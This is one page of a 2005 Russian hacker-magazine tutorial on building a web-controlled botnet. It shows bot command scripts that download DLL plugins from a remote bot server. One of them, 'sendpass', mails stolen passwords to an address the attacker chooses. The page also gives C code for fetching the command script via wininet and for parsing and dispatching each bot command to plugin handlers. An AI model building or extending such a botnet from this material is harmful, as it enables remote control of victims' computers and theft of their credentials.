Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #76, АПРЕЛЬ 2005 г.

Умный ботнет

Николай «GorluM» Андреев

Хакер, номер #076, стр. 076-112-2


С таким «лоадом» от реализации других команд в самом боте можно отказаться вообще, так как их всех можно будет засунуть в плагины.

Командный скрипт для бота с такой системой преобразуется в нечто следующее:

load messagemodule http://www.server-for-bots.su/message.dll

load pingmodule http://www.server-for-bots.su/ping.dll

message Сообщение от бота!

pingaddr www.xakep.ru

По идее вначале прога скачивает модули, выполненные в виде динамических библиотек, а затем выполняет команды, зашитые в них. При этом никто не мешает ботмастеру написать еще тьму DLL, реализующих его самые разные задумки. Захочет - напишет модуль, отправляющий пароли на мыло, добавит в скрипт пару строк, и будет радоваться.

load sendpass http://www.server-for-bots.su/sendpass.dll

sendpass somemail@very-very-important.hm

Заинтересовал? Тогда можно приступать к разработке этого счастья.

Пишем бот

Бот может управляться отнюдь не только с web-сервера, просто управление с веба – самое простое в реализации. Тут не надо изучать протоколы (как в случае с IRC) и писать сложные программы. Скачал скрипт с помощью wininet и знай себе, парсь его.

Пользоваться API для скачивания в данном случае очень легко:

+ получаешь дескриптор сессии wininet c помощью InternetOpen

+ открываешь урл - InternetOpenUrl

+ и сливаешь все содержимое урла в буфер функцией InternetReadFile.

Получив скрипт, надо как-то разобраться, что в нем и как. Я предлагаю для начала разбить его на строки. Это можно было бы сделать с помощью обычной функции strtok, указав ей в параметре разделители “\n\r”. Но у меня она доверия не вызвала, поэтому я сам реализовал парсинг. Получилось, правда, две функции вместо одной: ParseInit и ParseString. Одна инициализирует парсинг, другая получает указатели на метки разбиения. Но это не суть важно, главное – разбить скрипт на строки, а затем выделить в них первое слово – команду.

[команда] [строка аргументов]

Как ты уже понял, синтаксис скриптов у меня используется простой, поэтому первое слово можно выделить, просто скопировав из строки все символы от начала и до первого пробела.

Получив имя команды, надо посмотреть, зарегистрирована ли она у нас, и если да – выполнить. В коде все это выглядит следующим образом (szPageBuffer – буфер со скриптом):

char *sep = "\n\r";

char *lim = szPageBuffer + lstrlen(szPageBuffer);

char *token;

char *command = 0;

char temp[256];

// инициализируем парсинг

token = ParseInit(szPageBuffer, sep, lim);

if (!token)

return FALSE;

// делим на строки

do {

// копируем строку и делим на команду и аргументы

lstrcpy(temp,token);

command = GetFirstSpace(temp);

if(command != 0) *(command-1) = 0;

// запускаем сервис

if (IsBotnetService(temp))

GetBotnetService(temp)(command);

} while (token = ParseString(token, lim));

Ты заметил функции IsBotnetService и GetBotnetService? Это самое интересное. Сервисом я обозвал структуру, состоящую из имени команды и адреса функции, обрабатывающей аргументы этой команды. Именно манипулируя такими структурами, бот будет определять, когда какой код выполнять и т.п.

Назад на стр. 076-112-1  Содержание  Вперед на стр. 076-112-3